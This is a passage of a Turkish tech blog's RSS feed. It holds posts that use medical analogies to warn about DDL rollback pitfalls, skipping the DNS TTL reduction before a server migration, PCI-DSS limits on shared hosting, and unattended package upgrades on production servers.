MySQL bağlantı parametrelerine <code>--safe-updates</code> (<code>sql_safe_updates = 1</code>) ekleyin. Bu mod, <code>WHERE</code> koşulu içermeyen veya indeks kullanmayan toplu <code>DELETE</code> ve <code>UPDATE</code> komutlarını doğrudan reddeder.</li>
</ol>
<h2>Sonuç</h2>
<p>Tıpta temel bir prensip vardır: <em>"Primum non nocere"</em> (Önce zarar verme). Cerrahi müdahale yapacak bir hekimin kestiği damarın anatomik sonuçlarını bilmesi ne kadar gerekliyse; canlı veritabanında komut koşturan bir mühendisin de DML ile DDL arasındaki farkı ve örtük commit mekanizmasını bilmesi o kadar zorunludur.</p>
<p>Transaction açtım diye her komutun geri alınabileceğini sanmak, paraşütsüz uçaktan atlayıp "Nasılsa cebimde emniyet kemeri var" demeye benzer. DDL affetmez; terminale yazdığınız her karakterin arka plandaki motoru nasıl parçaladığını bilmek zorundasınız.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>MySQL</category>
            <category>PostgreSQL</category>
            <category>TRUNCATE</category>
            <category>DDL</category>
            <category>Transactions</category>
            <category>Rollback</category>
            <category>Veritabanı</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gelistiricinin-veritabanina-truncate-atip-rollback-beklemesi/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucu Taşırken TTL (Time To Live) Süresini Düşürmeyi Unutmak]]></title>
            <link>http://localhost:3000/blog/post/sunucu-tasirken-ttl-time-to-live-suresini-dusurmeyi-unutmak</link>
            <guid>sunucu-tasirken-ttl-time-to-live-suresini-dusurmeyi-unutmak</guid>
            <pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[DNS kayıtlarındaki 86400 saniyelik TTL süresini düşürmeden sunucu taşıyan ekiplerin 48 saat boyunca iki farklı veritabanına sipariş alarak yaşadığı split-brain kabusu.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-tasirken-ttl-time-to-live-suresini-dusurmeyi-unutmak/thumbnail" alt=""> Kardiyovasküler cerrahide açık kalp ameliyatı sırasında hasta kalp-akciğer makinesine (ekstrakorporeal dolaşım) bağlanırken en kritik faz geçiş aşamasıdır. Doğal kalbin atımı durdurulurken kan akışı kademeli olarak yapay pompaya aktarılır. Eğer cerrahi ekip doğal kalbi izole etmeden, iki ayrı aortik klempi senkronize etmeden her iki pompayı da aynı anda ve kontrolsüzce devreye sokarsa ne olur? Hastanın beyni eski kalpten dakikada 80 atımla kan alırken, böbrekleri ve bacakları yapay pompadan dakikada 120 atımla farklı basınçta perfüze edilir. İki farklı dolaşım odağı, iki farklı basınç eğrisi ve sonuç: Damar diseksiyonu, çoklu organ yetmezliği ve masada kalan bir hasta. Tıpta buna çift odaklı perfüzyon anomalisi denir.</p>
<p>Bilişim altyapılarında sunucu taşıma (server migration) operasyonları da tam olarak bu hassasiyette bir cerrahi nakildir. Eski sunucudan yeni sunucuya geçerken DNS kayıtlarındaki <strong>TTL (Time To Live)</strong> süresini önceden düşürmeyi unutan mühendislerin karşılaştığı şey, dağıtık sistemlerin en ölümcül patolojilerinden biri olan <strong>Split-Brain (Yarık Beyin)</strong> sendromudur.</p>
<hr>
<h2>TTL Nedir ve Neden Dünyanın En İnatçı Önbelleğidir?</h2>
<p>DNS (Domain Name System), internetin telefon rehberidir. Ancak milyarlarca cihaz her web sitesi ziyaretinde ana kök (root) sunuculara veya yetkili ad sunucularına (authoritative nameservers) doğrudan soru sormasın diye muazzam bir hiyerarşik önbellekleme mimarisi kurulmuştur.</p>
<p>Bir DNS kaydının yanında yazan sayısal değer (örneğin <code>86400</code>), o kaydın dünya genelindeki ISP çözümleyicileri (Türk Telekom, Superonline, Cloudflare 1.1.1.1, Google 8.8.8.8) ve son kullanıcı işletim sistemleri tarafından kaç saniye boyunca hafızada tutulacağını belirler.</p>
<pre><code>+-------------------------------------------------------------------------+
|                  VARSAYILAN DNS KAYDI (86400 Saniye = 24 Saat)          |
|                                                                         |
|  example.com.   86400   IN   A   195.175.10.50 (Eski Sunucu)            |
|                                                                         |
|  1. Müşteri Türk Telekom DNS'ine sorar: 195.175.10.50                   |
|  2. Türk Telekom bu cevabı 24 SAAT boyunca hafızasında dondurur.        |
|  3. Siz nameserver'da IP'yi 88.255.20.100 (Yeni Sunucu) yapsanız bile,  |
|     Türk Telekom 24 saat boyunca eski IP'yi vermeye devam eder!         |
+-------------------------------------------------------------------------+
</code></pre>
<p>Birçok sistem yöneticisi bu süreyi tamamen göz ardı eder. Cuma gecesi saat 23:00'te toplanılır:</p>
<ul>
<li>Eski sunucunun veritabanı yedeği alınır.</li>
<li>Yeni sunucuya dosyalar ve MySQL veritabanı aktarılır.</li>
<li>Yeni sunucudaki Nginx/PHP servisleri ayağa kaldırılır.</li>
<li>cPanel/Cloudflare üzerinden A kaydı yeni sunucunun IP adresine çevrilir.</li>
<li>Ekip kendi bilgisayarında <code>ipconfig /flushdns</code> yapar, sitenin yeni sunucudan açıldığını görür: <em>"Harika, taşıma 15 dakikada bitti, herkese iyi hafta sonları!"</em></li>
</ul>
<p>Oysa cehennemin kapıları daha yeni aralanmıştır.</p>
<hr>
<h2>Split-Brain Anatomisi: İki Ayrı Evrende Yaşayan E-Ticaret</h2>
<p>Cumartesi sabahı saat 09:00 olduğunda Türkiye genelindeki müşteriler siteye akın etmeye başlar. Ancak internet altyapısı homojen değildir:</p>
<ol>
<li><strong>Yeni IP'yi Görenler (%40):</strong> Google DNS kullananlar veya yerel ISP'si önbelleği çabuk tazeleyenler yeni sunucuya (<code>88.255.20.100</code>) bağlanır. Sepete ürün ekler, kredi kartıyla ödeme yapar. Bu siparişler yeni sunucunun veritabanına yazılır (Sipariş ID: 10001, 10002, 10003).</li>
<li><strong>Eski IP'de Kalanlar (%60):</strong> Türk Telekom, Vodafone veya yerel kurumsal ağların DNS önbelleği 86400 saniyeyi (24 saat) beklemektedir. Bu kullanıcılar doğrudan eski sunucuya (<code>195.175.10.50</code>) yönlendirilir. Onlar da siteyi açık görür, ürün satın alır, adres günceller. Bu siparişler eski sunucunun veritabanına yazılır (Sipariş ID: 10001, 10002, 10003 - Auto Increment çakışması!).</li>
</ol>
<pre><code>                          ┌─────────────────────┐
                          │   Kullanıcı Havuzu  │
                          └──────────┬──────────┘
                                     │
                 ┌───────────────────┴───────────────────┐
                 ▼                                       ▼
       [Yeni DNS Önbelleği]                    [Eski DNS Önbelleği]
                 │                                       │
                 ▼                                       ▼
        YENİ SUNUCU (IP: .100)                  ESKİ SUNUCU (IP: .50)
        - Sipariş #10001: Ali Bey               - Sipariş #10001: Ayşe Hanım
        - Stok Düşümü: iPhone (-1)              - Stok Düşümü: iPhone (-1)
        - Kredi Kartı Çekildi                   - Kredi Kartı Çekildi
                 │                                       │
                 └───────────────────┬───────────────────┘
                                     ▼
                     [48 Saat Sonra Fark Edilen Kriz]
                     - Aynı ID ile iki farklı müşteri!
                     - Olmayan stoklar satıldı!
                     - İki veritabanı birbirinden koptu!
</code></pre>
<p>Pazartesi sabahı şirket merkezinde telefonlar kilitlenir:</p>
<ul>
<li>Depo şefi arar: "Ali Bey'in siparişi ile Ayşe Hanım'ın sipariş numarası aynı, kargolar karıştı!"</li>
<li>Muhasebe arar: "Bankadan 500 bin TL para çekilmiş ama yeni panelde sadece 200 bin TL'lik sipariş görünüyor, 300 bin TL nerede?!"</li>
<li>Müşteriler arar: "Ben hafta sonu üye oldum, bugün giriş yapamıyorum, 'Böyle bir kullanıcı yok' diyor!"</li>
</ul>
<p>İki veritabanı zamanda geriye ve ileriye doğru çatallanmış (diverged), veri bütünlüğü tamamen yok olmuştur.</p>
<hr>
<h2>Masadaki Organı Birleştirmek: Veritabanı Birleştirme İşkencesi</h2>
<p>İki gün boyunca paralel çalışan iki veritabanını birleştirmek, kıymadan tekrar biftek yapmaya çalışmak kadar zahmetli ve hataya açıktır.</p>
<ul>
<li><strong>Auto-Increment Çakışmaları:</strong> Her iki veritabanı da aynı ID'leri farklı kullanıcılara, siparişlere ve faturalara dağıtmıştır.</li>
<li><strong>Foreign Key Felaketi:</strong> Sipariş kalemleri (<code>order_items</code>), adresler ve kargo kayıtları birbirine girmiştir.</li>
<li>Mühendisler günlerce SQL betikleri yazarak eski sunucudaki ID'leri <code>+100000</code> öteleyip yeni veritabanına aktarmak için gecelerce uyumaz. Birçok şirket bu süreçte binlerce liralık mükerrer kargo ve yanlış faturalandırma zararına uğrar.</li>
</ul>
<hr>
<h2>Profesyonel Taşıma Protokolü: Adım Adım Cerrahi Plan</h2>
<p>Bu felaketi önlemenin yolu bir komut satırı sihirbazlığı değil, askeri bir disiplinle takvime sadık kalmaktır.</p>
<h3>Faz 1: T - 72 Saat (Hazırlık ve TTL Düşürme)</h3>
<p>Taşıma işleminden <strong>en az 3 gün önce</strong> DNS yetkili sunucusuna girilir ve taşınacak domainin TTL süresi en düşük güvenli seviyeye çekilir.</p>
<pre><code class="language-text"># Eski DNS Kaydı:
example.com.    86400   IN   A   195.175.10.50

# Yapılan Değişiklik (TTL = 300 Saniye / 5 Dakika):
example.com.    300     IN   A   195.175.10.50
</code></pre>
<p>Bu değişiklik yapıldıktan sonra 72 saat beklenmelidir! Neden? Çünkü dünyadaki tüm DNS çözümleyicilerinin hafızasındaki eski 24 saatlik önbelleğin süresi dolmalı ve yeni 5 dakikalık TTL kuralı küresel olarak kabul edilmelidir.</p>
<h3>Faz 2: T - 0 (Taşıma Anı ve Eski Sunucuyu Klemplemek)</h3>
<p>Taşıma gecesi geldiğinde yapılacak ilk iş, eski sunucunun veritabanına yazmayı durdurmaktır. Tıpkı kalbi baypas etmeden önce aort damarını klemplemek gibi:</p>
<ol>
<li>
<p><strong>Eski Sunucuda Bakım Modu / Read-Only:</strong><br>
Eski sunucudaki web sunucusunda tüm dinamik POST istekleri engellenmeli veya veritabanı <code>READ ONLY</code> moduna alınmalıdır:</p>
<pre><code class="language-sql">FLUSH TABLES WITH READ LOCK;
SET GLOBAL read_only = ON;
</code></pre>
</li>
<li>
<p><strong>Nginx Seviyesinde Geçici Reverse Proxy:</strong><br>
Eski sunucuyu tamamen kapatmak yerine, eski sunucuya gelen istekleri arka planda yeni sunucuya tünelleyen bir Nginx ters proxy kurulabilir:</p>
<pre><code class="language-nginx"># Eski sunucu Nginx yapılandırması:
server {
    listen 80;
    listen 443 ssl;
    server_name example.com;
    location / {
        proxy_pass https://88.255.20.100; # Yeni Sunucu IP'si
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}
</code></pre>
<p>Bu sayede eski DNS kaydında kalan kullanıcılar bile fiziksel olarak eski sunucuya gitseler dahi, istekleri arka planda yeni sunucudan yanıtlanır. Split-brain ihtimali sıfıra iner!</p>
</li>
<li>
<p><strong>DNS A Kaydını Değiştirme:</strong><br>
A kaydı yeni IP'ye yönlendirilir. TTL süresi 300 saniye olduğu için tüm dünya maksimum 5 dakika içinde yeni sunucuya akacaktır.</p>
</li>
</ol>
<h3>Faz 3: T + 48 Saat (Normalleşme)</h3>
<p>Geçiş başarıyla tamamlandıktan ve sistemin kararlılığı doğrulandıktan sonra TTL süresi tekrar <code>86400</code> saniyeye (veya <code>43200</code> / 12 saat) yükseltilerek DNS sunucularının üzerindeki anlık sorgu yükü azaltılır.</p>
<h2>Sonuç</h2>
<p>DNS'te TTL süresi, sisteme verilen bir zaman aşımı emridir. Zamanı bükemezsiniz; internet altyapısının hafızasını zorla silemezsiniz.</p>
<p>Planlanmamış, TTL süresi düşürülmeden ve eski sunucu klemplenmeden yapılan her sunucu taşıması; verilerinizin ikiye bölünmesine, müşterilerinizin birbirinin siparişine girmesine ve 48 saatlik kabus dolu bir acil servis krizine davetiyedir. Altyapı taşırken acele etmeyin; önce damarları hazırlayın, sonra nakli gerçekleştirin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>DNS</category>
            <category>TTL</category>
            <category>Sunucu Taşıma</category>
            <category>Split-Brain</category>
            <category>Ağ Yönetimi</category>
            <category>DevOps</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-tasirken-ttl-time-to-live-suresini-dusurmeyi-unutmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Yıllık 100 TL'lik Paketle 'PCI-DSS Uyumlu' E-Ticaret Yapmaya Çalışmak]]></title>
            <link>http://localhost:3000/blog/post/yillik-100-tllik-paketle-pci-dss-uyumlu-e-ticaret-yapmaya-calismak</link>
            <guid>yillik-100-tllik-paketle-pci-dss-uyumlu-e-ticaret-yapmaya-calismak</guid>
            <pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Yıllık birkaç yüz liralık paylaşımlı hosting paketinde bankadan Sanal POS alıp PCI-DSS uyumluluk sertifikası talep eden esnaf mantığı ve paylaşımlı altyapının mimari gerçekleri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/yillik-100-tllik-paketle-pci-dss-uyumlu-e-ticaret-yapmaya-calismak/thumbnail" alt=""> Halk sağlığı ve enfeksiyon kontrolünde en katı kurallar cerrahi ameliyathaneler ve Biyogüvenlik Seviye-4 (BSL-4) karantina laboratuvarları için geçerlidir. Burada hava akışı HEPA filtrelerle sürekli süzülür, odadaki pozitif basınç dışarıdan tek bir toz zerresinin içeri girmesini engeller, içeri giren personelin kıyafetleri sterilize edilir ve her yüzey düzenli olarak kimyasal tahlillerden geçer. Şimdi bir kasabın ya da sokak satıcısının, semt pazarındaki açık tezgahının ortasında açık kalp ameliyatı yapmaya kalkıştığını düşünün. Üstelik İl Sağlık Müdürlüğü'ne dilekçe verip <em>"Ben burada ameliyat yapacağım, bana acilen uluslararası laminar hava akışı ve BSL-4 sterilizasyon sertifikası düzenleyin"</em> diye talepte bulunursa ne olur? Komik bile olmayan bir akıl tutulması yaşanır.</p>
<p>Türkiye'deki bilişim ve e-ticaret ekosisteminde de durum farksızdır. Yıllık 100-200 TL'ye (veya 5-10 dolara) satın aldığı paylaşımlı hosting (shared hosting) paketine WooCommerce veya OpenCart kuran bir işletme sahibinin; bankalardan doğrudan Sanal POS entegrasyonu alırken karşısına çıkan <strong>PCI-DSS (Payment Card Industry Data Security Standard)</strong> denetim anketini görünce hosting firmasına destek bileti açması bu sahnenin kusursuz bir kopyasıdır:</p>
<blockquote>
<p><em>"Bankam benden PCI-DSS Seviye 1 uyumluluğu, TLS 1.3 zorunluluğu, özel IP, sunucu kök erişim logları ve zafiyet tarama raporu istiyor. Sunucunuz bu standartları karşılıyor mu? Acilen PCI belgenizi gönderin, posumuz onaylanmadı!"</em></p>
</blockquote>
<hr>
<h2>PCI-DSS Nedir ve Ne İster?</h2>
<p>Visa, MasterCard, American Express, Discover ve JCB konsorsiyumu tarafından kurulan <strong>PCI Güvenlik Standartları Konseyi (PCI SSC)</strong>, kredi kartı verilerinin saklandığı, işlendiği veya iletildiği tüm sistemler için acımasız ve tavizsiz kurallar koyar.</p>
<p>Temel şartlar şunlardır:</p>
<ol>
<li><strong>Güvenli Ağ ve Sistemler:</strong> Güvenlik duvarı (firewall) yapılandırması, satıcı tarafından sağlanan varsayılan şifrelerin (default passwords) asla kullanılmaması.</li>
<li><strong>Kart Sahibi Verilerinin Korunması:</strong> Saklanan verilerin şifrelenmesi (AES-256), genel ağlar üzerinden iletilen kart verilerinin güçlü kriptografiyle korunması (TLS 1.2+).</li>
<li><strong>Zafiyet Yönetim Programı:</strong> Sistemlerin güncel anti-virüs yazılımlarıyla taranması, tüm yazılım ve işletim sistemi yamalarının düzenli olarak uygulanması.</li>
<li><strong>Sıkı Erişim Kontrol Önlemleri:</strong> Veriye erişimin iş gereksinimlerine göre sınırlandırılması (Role-Based Access Control), her erişim için benzersiz bir kullanıcı kimliği tanımlanması, çok faktörlü kimlik doğrulama (MFA).</li>
<li><strong>Ağların Düzenli Olarak İzlenmesi ve Test Edilmesi:</strong> Tüm ağ kaynaklarına ve kart verilerine erişimin günlük loglarının tutulması ve logların değiştirilemez bir SIEM sunucusuna aktarılması.</li>
</ol>
<p>Şimdi bu kuralları alın ve yıllık 100 TL'lik bir paylaşımlı Linux sunucusunun gerçekleriyle yan yana koyun.</p>
<hr>
<h2>Paylaşımlı Hosting Mimarisi: Umumi Koğuş Gerçeği</h2>
<p>Paylaşımlı hosting, tek bir fiziksel sunucu üzerinde (örneğin Dual Xeon, 128 GB RAM) 500 ila 2.000 farklı web sitesinin aynı işletim sistemini, aynı web sunucusunu (Apache/LiteSpeed), aynı MySQL sunucusunu ve aynı ortak IP adresini paylaştığı bir <strong>umumi koğuş</strong> modelidir.</p>
<pre><code>+------------------------------------------------------------------------+
|                 TEK BİR PAYLAŞIMLI FİZİKSEL SUNUCU                     |
|                                                                        |
|  [Sizin 100 TL'lik Siteniz]   [Komşu: Korsan Dizi Sitesi]              |
|  (WooCommerce - Sanal POS)    (Sürekli Telif &#x26; DDOS Saldırısı Alıyor)  |
|                                                                        |
|  [Komşu: Hacklenmiş WordPress] [Komşu: Günde 50.000 Spam Mail Atan]   |
|  (Web Shell Yüklü, Port Tarıyor) (IP'yi Kara Listelere Sokuyor)        |
|                                                                        |
|------------------------------------------------------------------------|
|     ORTAK KAYNAKLAR: Tek Kernel, Tek MySQL Soketi, Tek Ağ Arayüzü      |
|     GÜVENLİK SINIRI: Yalnızca CloudLinux CageFS &#x26; Chroot İzolasyonu    |
+------------------------------------------------------------------------+
</code></pre>
<p>Bu ortamda PCI-DSS standartlarını sağlamak mantıken ve fiziksel olarak imkânsızdır:</p>
<h3>1. Kök Düzeyinde Loglama ve İzleme İmkânsızlığı</h3>
<p>PCI-DSS, sunucuya kimin hangi saatte ne amaçla girdiğinin <code>auditd</code> seviyesinde loglanmasını ister. Paylaşımlı sunucuda müşteriye SSH veya <code>sudo</code> yetkisi verilemez. Müşteri sunucunun güvenlik duvarı kurallarını veya kernel loglarını göremez; çünkü görürse diğer 1.000 komşu sitenin de verilerini görmüş olur.</p>
<h3>2. Paylaşımlı IP ve Ortak Portlar</h3>
<p>Aynı IP adresini kullanan diğer bir müşterinin sitesi zafiyet içeriyorsa, üçüncü taraf bir güvenlik tarama aracı (ASV - Approved Scanning Vendor) IP adresini taradığında 80, 443, 21, 25 gibi ortak portlarda zafiyet raporlar. Komşunuzun güncellenmemiş eski PHP script'i yüzünden sizin PCI-DSS taramanız kırmızı alarm verip başarısız (Fail) olur.</p>
<h3>3. Kaynak İzolasyonu ve Yan Kanal Saldırıları (Side-Channel)</h3>
<p>CloudLinux CageFS gibi teknolojiler kullanıcıları kendi <code>chroot</code> kafeslerine hapseder; ancak aynı çekirdeği (kernel) paylaşan bir sistemde bellek tabanlı Spectre/Meltdown tarzı yan kanal açıklarına veya yerel yetki yükseltme (local root privilege escalation) risklerine karşı %100 garanti verilemez. Kart hamili verisinin aktığı bir sunucuda bu risk kabul edilemez.</p>
<hr>
<h2>Esnafın İsyanı ve Yanılgı: "Hosting Firması İlgisiz!"</h2>
<p>Bankanın gönderdiği 12 sayfalık Güvenlik Açığı Raporu'nu (ASV Scan Report) alan müşteri destek talebini açar:<br>
<em>"Sunucunuzda port 21 FTP açık görünüyor, derhal kapatın! OpenSSL sürümü eskiymiş, güncelleyin! Bize PCI sertifikanızı verin!"</em></p>
<p>Hosting firmasının teknik destek mühendisi yanıt verir:<br>
<em>"Sayın müşterimiz, hesabınız paylaşımlı hosting paketindedir. Port 21 diğer 800 müşterimizin dosya transferi için aktiftir, tek bir müşteri için kapatılamaz. Bu sunucu PCI-DSS sertifikasyonuna tabi değildir; sözleşmemizde kart saklama veya PCI uyumluluğu taahhüdü yer almamaktadır. PCI uyumluluğu için izole bir Cloud/Dedicated sunucuya geçmeli ve gerekli mimariyi kendiniz kurmalısınız."</em></p>
<p>Müşteri hiddetlenir: <em>"Ben sizden site barındırma aldım, güvenli değil misiniz yani?! Benim sitemden kart çekilemeyecek mi?!"</em></p>
<hr>
<h2>Klinik Çözüm: Ortak Ödeme Sayfası (Hosted Payment Page)</h2>
<p>Burada asıl anlaşılması gereken şey, küçük bir işletmenin kredi kartı bilgilerini kendi sunucusuna ASLA temas ettirmemesi gerektiğidir.</p>
<p>Eğer altyapınız için ayırabileceğiniz bütçe yıllık 100 TL ise, bankanın <strong>Doğrudan API (Direct POST / Merchant Host)</strong> modelini kullanamazsınız. Kullanmamalısınız da. Çünkü doğrudan API modelinde müşteri kredi kartı numarasını, son kullanma tarihini ve CVV kodunu sizin web sitenizdeki form kutucuğuna yazar. Form verisi sizin sunucunuzdaki PHP script'ine düşer, oradan cURL ile bankaya gönderilir. Kart verisi o 100 TL'lik sunucunun RAM'inden ve işlemcisinden geçer! O sunucu hacklenirse veya sayfaya bir JavaScript enjeksiyonu (Magecart saldırısı) yapılırsa, çalınan milyonlarca liralık kartın hukuki sorumluluğu tamamen işletmeye aittir.</p>
<h3>Doğru Reçete: Ortak Ödeme / iframe Modeli</h3>
<p>Küçük ve orta ölçekli işletmeler için doğru mimari şudur:</p>
<ul>
<li><strong>Iyzico, PayTR, ParamPOS veya Bankanın Ortak Ödeme Sayfası:</strong><br>
Müşteri "Ödeme Yap" dediğinde kart bilgilerini sizin sitenizde girmez. Ya güvenli bir <code>iframe</code> içinde ya da doğrudan BDDK ve PCI-DSS Seviye 1 sertifikalı ödeme kuruluşunun kendi sunucusuna yönlendirilir.</li>
<li>Kart bilgisi sizin sunucunuzun kablosuna bile değmez. Ödeme işlemi ödeme kuruluşunun BSL-4 standartlarındaki steril veri merkezinde tamamlanır; sitenize sadece <em>"Ödeme Başarılı - Referans No: 918239"</em> şeklinde bir webhook yanıtı döner.</li>
<li>Bu senaryoda işletme, PCI-DSS formunda en hafif seviye olan <strong>SAQ A (Self-Assessment Questionnaire A)</strong> formunu doldurur: <em>"Ben kart verisine dokunmuyorum, tüm işlemi lisanslı kuruluşa devrettim"</em> der ve hiçbir sunucu denetimine girmeden onay alır.</li>
</ul>
<pre><code>+------------------------------------------------------------------------+
|                      MİMARİ DOĞRU ÇÖZÜM: SAQ-A                         |
|                                                                        |
|  Müşteri Sitenize Gelir (100 TL'lik Hosting)                           |
|       │                                                                |
|       ▼ "Ödeme Yap" Butonu                                             |
|  [Doğrudan PCI-DSS Seviye 1 Kuruluşun Güvenli Havuzuna Yönlendirilir]  |
|  (Kart bilgisi İyzico / PayTR / Banka Ortak Sayfasında Girilir)        |
|       │                                                                |
|       ▼                                                                |
|  Kart çekilir, onaylanır.                                              |
|       │                                                                |
|       ▼ Sitenize Yalnızca Başarı Kodu Döner:                           |
|  [Siteniz: "Siparişiniz Alındı!"]                                      |
|                                                                        |
|  SONUÇ: Kart verisi 100 TL'lik sunucuya HİÇ DEĞMEDİ. Güvenlik: %100   |
+------------------------------------------------------------------------+
</code></pre>
<h2>Sonuç</h2>
<p>Toplu taşıma otobüsüyle Formula 1 yarışına katılamazsınız; katılamadığınız için de belediye otobüsü şoförünü "Neden pit-stopta lastik değiştirmiyorsun" diye azarlayamazsınız.</p>
<p>Paylaşımlı hosting; kişisel bloglar, portföy siteleri ve basit kurumsal tanıtım sayfaları için maliyet-etkin harika bir çözümdür. Ancak finansal verilerin, kredi kartı işlemlerinin ve regülasyona tabi kritik altyapıların koşulacağı bir mecra değildir. Kredi kartı verisiyle çalışacaksanız ya bütçenizi izole mimarilere (Dedicated/VPC) göre planlayacak ve profesyonel sistem mühendisliği alacaksınız; ya da haddinizi bilip kart verisine el sürmeden işi lisanslı ödeme geçitlerine devredeceksiniz.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>PCI-DSS</category>
            <category>Paylaşımlı Hosting</category>
            <category>Sanal POS</category>
            <category>Güvenlik</category>
            <category>E-Ticaret</category>
            <category>Fintech</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yillik-100-tllik-paketle-pci-dss-uyumlu-e-ticaret-yapmaya-calismak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucuda Otomatik yum update / apt upgrade Çılgınlığı]]></title>
            <link>http://localhost:3000/blog/post/sunucuda-otomatik-yum-update--apt-upgrade-cilginligi</link>
            <guid>sunucuda-otomatik-yum-update--apt-upgrade-cilginligi</guid>
            <pubDate>Wed, 28 Jan 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Canlı üretim sunucularında otomatik paket güncellemelerini (unattended-upgrades) açıp gece yarısı güncellenen kütüphaneler yüzünden sabah yüzlerce 500 hatasıyla uyanan sistem yöneticileri.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucuda-otomatik-yum-update--apt-upgrade-cilginligi/thumbnail" alt=""> Yoğun bakım ünitesinde yatan, çoklu organ yetmezliği sınırındaki kritik bir hastayı düşünün. Hastanın tansiyonu, elektrolit dengesi, böbrek fonksiyonları ve kardiyak ritmi miligramlık hassasiyetle ayarlanmış ilaç infüzyonlarıyla dengede tutulmaktadır. Şimdi bu servisteki bir asistanın, "Tıp sürekli ilerliyor, en yeni molekülleri kaçırmamalıyız" diyerek hastanın damar yoluna otomatik bir robotik pompa bağladığını hayal edin. Bu pompa, her gece saat 03:00'te uluslararası ilaç veri tabanını taramakta ve o gün onaylanan en yeni antibiyotikleri, beta-blokerleri ve antiaritmikleri hiçbir kan tahlili yapmadan, hekim konsültasyonu almadan hastanın damarına boca etmektedir. Sabah nöbet devrinde odaya girdiğinizde hastayı anafilaktik şoka girmiş ve kardiyak arrest geçirmiş halde bulursunuz. Asistanın savunması ise trajikomiktir: <em>"Ama hocam, verilen tüm ilaçlar en son sürümdü ve üretici tarafından onaylanmıştı!"</em></p>
<p>Sistem mühendisliğinde canlı (production) sunucularda <code>unattended-upgrades</code>, <code>yum-cron</code> veya gece yarısı çalışan kontrolsüz bir <code>cron</code> içine <code>apt-get upgrade -y</code> yazmak tam olarak bu klinik cinayetin dijital muadilidir.</p>
<hr>
<h2>"En Günceli En İyisidir" Yanılgısı</h2>
<p>Açık kaynak dünyasında ve Linux dağıtımlarında (Ubuntu, Debian, RHEL, AlmaLinux, Rocky Linux) paket yöneticileri muazzam bir nimet sunar. Tek bir komutla yüzlerce kütüphaneyi, derleyiciyi ve servis yazılımını güncelleyebilirsiniz.</p>
<p>Güvenlik uzmanları sürekli olarak "Sistemlerinizi güncel tutun, sıfır gün (zero-day) açıklarını kapatın" tavsiyesinde bulunur. Bu tavsiye teoride %100 doğrudur. Ancak bu tavsiyeyi yanlış yorumlayan acemi sistem yöneticileri veya tembel DevOps personeli, güncellemeyi planlı ve test edilmiş bir operasyon olarak yürütmek yerine işi otomasyona bağlar:</p>
<pre><code class="language-bash"># /etc/crontab içine yazılan o meşhur intihar komutu:
0 3 * * * root apt-get update &#x26;&#x26; apt-get upgrade -y &#x26;&#x26; apt-get autoremove -y
</code></pre>
<p>Bu komutu yazan kişi, gece yatağında huzurla uyurken sunucusunun her gün kendi kendini "iyileştirdiğini" sanır. Ta ki o geceye kadar.</p>
<hr>
<h2>Patolojinin Gelişimi: Gece 03:14 Çöküşü</h2>
<p>Canlı sistemler izole kütüphanelerden ibaret değildir; birbiriyle son derece kırılgan bağlarla kenetlenmiş karmaşık bağımlılık ağlarıdır (dependency graph).</p>
<p>Otomatik güncelleme çalıştığında ne olur?</p>
<pre><code>+------------------------------------------------------------------------+
|                     GECE 03:00: CRON TETİKLENDİ                        |
|                                                                        |
|  apt-get upgrade -y çalıştı...                                         |
|  - 42 paket indirildi (libssl, openssl, glibc, php-curl, nginx...)     |
|                                                                        |
|  1. OpenSSL 1.1 -> OpenSSL 3.0 güncellemesi geldi.                     |
|  2. Şirketin 5 yıllık eski PHP 7.4 derlemesi OpenSSL 3.0'ın eski       |
|     şifreleme algoritmalarını (MD5, SHA1, DES) reddetmesiyle kırıldı.  |
|  3. MySQL client kütüphanesi güncellendi, yeni authentication plugin   |
|     (caching_sha2_password) eski PDO sürücüsüyle konuşamaz oldu.      |
|  4. Nginx güncellendi, yeni sürümün yapılandırma sözdizimi             |
|     eski bir third-party modülü reddetti ve Nginx servisi durdu!       |
+------------------------------------------------------------------------+
</code></pre>
<p>Paket yöneticisi konsola sessizce yazar:<br>
<code>Setting up nginx (1.24.0)... Job for nginx.service failed because the control process exited with error code.</code></p>
<p>Paket yöneticisinin umrunda değildir; işini yapmış, yeni paketi diske yazmış ve çıkmıştır. Sabah 08:30'da mesai başladığında:</p>
<ul>
<li>Şirketin web sitesi: <code>502 Bad Gateway</code> veya <code>ERR_CONNECTION_REFUSED</code>.</li>
<li>Müşteriler ödeme yapamaz; çünkü cURL kütüphanesi bankanın eski TLS şifreleme süitini el sıkışma (handshake) hatasıyla kesmektedir.</li>
<li>Sistem yöneticisi panik içinde terminale girip neyin bozulduğunu anlamaya çalışır. Ancak gece aynı anda 60 farklı paket güncellendiği için suçluyu bulmak saatler sürer.</li>
</ul>
<hr>
<h2>Güvenlik Güncellemesi (Security Patch) ile Sürüm Yükseltme Arasındaki Sınır</h2>
<p>Sistem yönetiminde iki kavram birbirine karıştırılmamalıdır:</p>
<ol>
<li><strong>Kernel / ABI Kırıcı Güncellemeler:</strong><br>
İşletim sisteminin ana bileşenleri, glibc, derleyiciler, ana çalışma ortamları (Python, PHP, Node.js motorları). Bunlar asla otomatik yükseltilemez. Canlı ortamın bir klonu (Staging) üzerinde test edilmeden tek bir baytı bile değiştirilmemelidir.</li>
<li><strong>Kritik Güvenlik Yamaları (CVE Fixes):</strong><br>
Yalnızca güvenlik açığını kapatan, mevcut API ve ABI yapısını değiştirmeyen mikro yamalar (point release).</li>
</ol>
